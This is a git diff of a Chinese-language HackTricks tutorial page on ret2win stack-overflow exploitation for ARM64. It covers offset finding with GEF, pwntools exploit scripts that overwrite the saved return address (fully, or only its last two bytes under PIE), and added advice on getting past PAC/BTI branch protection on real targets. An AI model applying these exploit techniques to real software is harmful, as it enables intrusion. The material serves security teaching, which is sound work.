diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 4df7a0a83..95b1ae3ca 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -在以下内容中找到关于 arm64 的介绍: +在以下位置可以找到关于 arm64 的介绍: {{#ref}} @@ -28,17 +28,29 @@ vulnerable_function(); return 0; } ``` -在没有 PIE 和 canary 的情况下编译: +在没有 pie 和 canary 的情况下编译: ```bash -clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie +clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none ``` +- 额外的编译选项 `-mbranch-protection=none` 会禁用 AArch64 Branch Protection (PAC/BTI)。如果你的工具链默认启用了 PAC 或 BTI,这能保持实验可重复。要检查已编译的二进制是否使用了 PAC/BTI,你可以: +- 查找 AArch64 GNU 属性: +- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'` +- 检查函数前序/后序以寻找 `paciasp`/`autiasp`(PAC)或 `bti c` 着陆点(BTI): +- `objdump -d ret2win | head -n 40` + +### AArch64 调用约定快速要点 + +- 链接寄存器是 `x30`(也称 `lr`),函数通常用 `stp x29, x30, [sp, #-16]!` 保存 `x29`/`x30`,并用 `ldp x29, x30, [sp], #16; ret` 恢复它们。 +- 这意味着保存的返回地址位于相对于帧基址的 `sp+8`。如果在下面放置了一个 `char buffer[64]`,通常覆盖保存的 `x30` 的距离是 64 (buffer) + 8 (saved x29) = 72 字节——这正是我们下面会发现的。 +- 在函数边界处,栈指针必须保持 16 字节对齐。如果你在更复杂的场景中稍后构造 ROP chains,请保持 SP 对齐,否则可能在函数尾部崩溃。 + ## 寻找偏移量 ### 模式选项 -此示例是使用 [**GEF**](https://github.com/bata24/gef) 创建的: +这个例子是使用 [**GEF**](https://github.com/bata24/gef) 创建的: -启动 gdb 并使用 gef,创建模式并使用它: +用 gef 启动 gdb,创建 pattern 并使用它: ```bash gdb -q ./ret2win pattern create 200 @@ -46,7 +58,7 @@ run ```
-arm64 将尝试返回到寄存器 x30 中的地址(该地址已被破坏),我们可以利用这一点来找到模式偏移: +arm64 会尝试返回到寄存器 x30 中的地址(该寄存器已被破坏),我们可以利用这一点来找到 pattern offset: ```bash pattern search $x30 ``` @@ -65,14 +77,14 @@ info frame ```
-现在在 `read()` 之后设置一个断点,并继续直到 `read()` 被执行,并设置一个模式,例如 13371337: +现在在 `read()` 之后设置一个断点,继续执行直到 `read()` 被执行,并设置一个类似 13371337 的模式: ``` b *vulnerable_function+28 c ```
-找到这个模式在内存中的存储位置: +查找该模式在内存中的存放位置:
@@ -80,7 +92,7 @@ c
-## 无PIE +## No PIE ### 常规 @@ -90,13 +102,15 @@ objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` -利用: +利用: ```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) +# Optional but nice for AArch64 +context.arch = 'aarch64' # Prepare the payload offset = 72 @@ -114,7 +128,7 @@ p.close() ### Off-by-1 -实际上,这更像是在栈中存储的 PC 的 off-by-2。我们将只用 `0x06c4` 覆盖 **最后 2 个字节**,而不是覆盖所有的返回地址。 +实际上,这更像是在 stack 中存储的 stored PC 出现的 off-by-2。我们不会覆盖整个 return address,而是只覆盖 **最后 2 个字节**,写为 `0x06c4`。 ```python from pwn import * @@ -136,16 +150,16 @@ p.close() ```
-您可以在 ARM64 中找到另一个 off-by-one 示例,链接为 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/),这是一个虚构漏洞中的真实 off-by-**one**。 +你可以在 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) 找到另一个 ARM64 的 off-by-one 示例,该示例是在一个虚构的漏洞中出现的真实 off-by-**one**。 -## 使用 PIE +## 在启用 PIE 时 > [!TIP] -> 编译二进制文件 **时不要使用 `-no-pie` 参数** +> 编译该二进制 **不要使用 `-no-pie` 参数** ### Off-by-2 -在没有泄漏的情况下,我们不知道获胜函数的确切地址,但我们可以知道该函数相对于二进制文件的偏移量,并且知道我们正在覆盖的返回地址已经指向一个接近的地址,因此可以泄漏到 win 函数的偏移量 (**0x7d4**) 并仅使用该偏移量: +没有 leak 的情况下,我们不知道 win 函数的确切地址,但我们可以知道该函数相对于二进制的偏移;并且由于我们正在覆盖的 return address 已经指向一个很接近的地址,在这种情况下可以 leak 到 win 函数的偏移(**0x7d4**)并直接使用该偏移:
```python @@ -167,4 +181,45 @@ p.send(payload) print(p.recvline()) p.close() ``` +### Notes on modern AArch64 hardening (PAC/BTI) and ret2win + +- 如果二进制使用 AArch64 Branch Protection 编译,你可能会在函数前导/尾随中看到 `paciasp`/`autiasp` 或 `bti c`。在这种情况下: +- 返回到不是有效 BTI landing pad 的地址可能会触发 `SIGILL`。优先定位包含 `bti c` 的准确函数入口。 +- 如果 PAC 为 returns 启用,简单的返回地址覆盖可能会失败,因为 epilogue 会对 `x30` 进行认证。为了学习场景,可用 `-mbranch-protection=none` 重新编译(如上所示)。在攻击真实目标时,优先选择非返回劫持(例如 function pointer overwrites)或构建不会执行会对你的伪造 LR 进行认证的 `autiasp`/`ret` 对的 ROP。 +- 快速检查特性: +- `readelf --notes -W ./ret2win` 并查找 `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes。 +- `objdump -d ./ret2win | head -n 40` 并查找 `bti c`, `paciasp`, `autiasp`。 + +### Running on non‑ARM64 hosts (qemu‑user quick tip) + +如果你在 x86_64 平台但想练习 AArch64: +```bash +# Install qemu-user and AArch64 libs (Debian/Ubuntu) +sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross + +# Run the binary with the AArch64 loader environment +qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win + +# Debug with GDB (qemu-user gdbstub) +qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win & +# In another terminal +gdb-multiarch ./ret2win -ex 'target remote :1234' +``` +### 相关 HackTricks 页面 + +- +{{#ref}} +../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +{{#endref}} +- +{{#ref}} +../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +{{#endref}} + + + +## 参考资料 + +- 在 AArch64 上为 Linux 启用 PAC 和 BTI (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux +- Arm 64-bit Architecture 的过程调用标准 (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst {{#include ../../../banners/hacktricks-training.md}}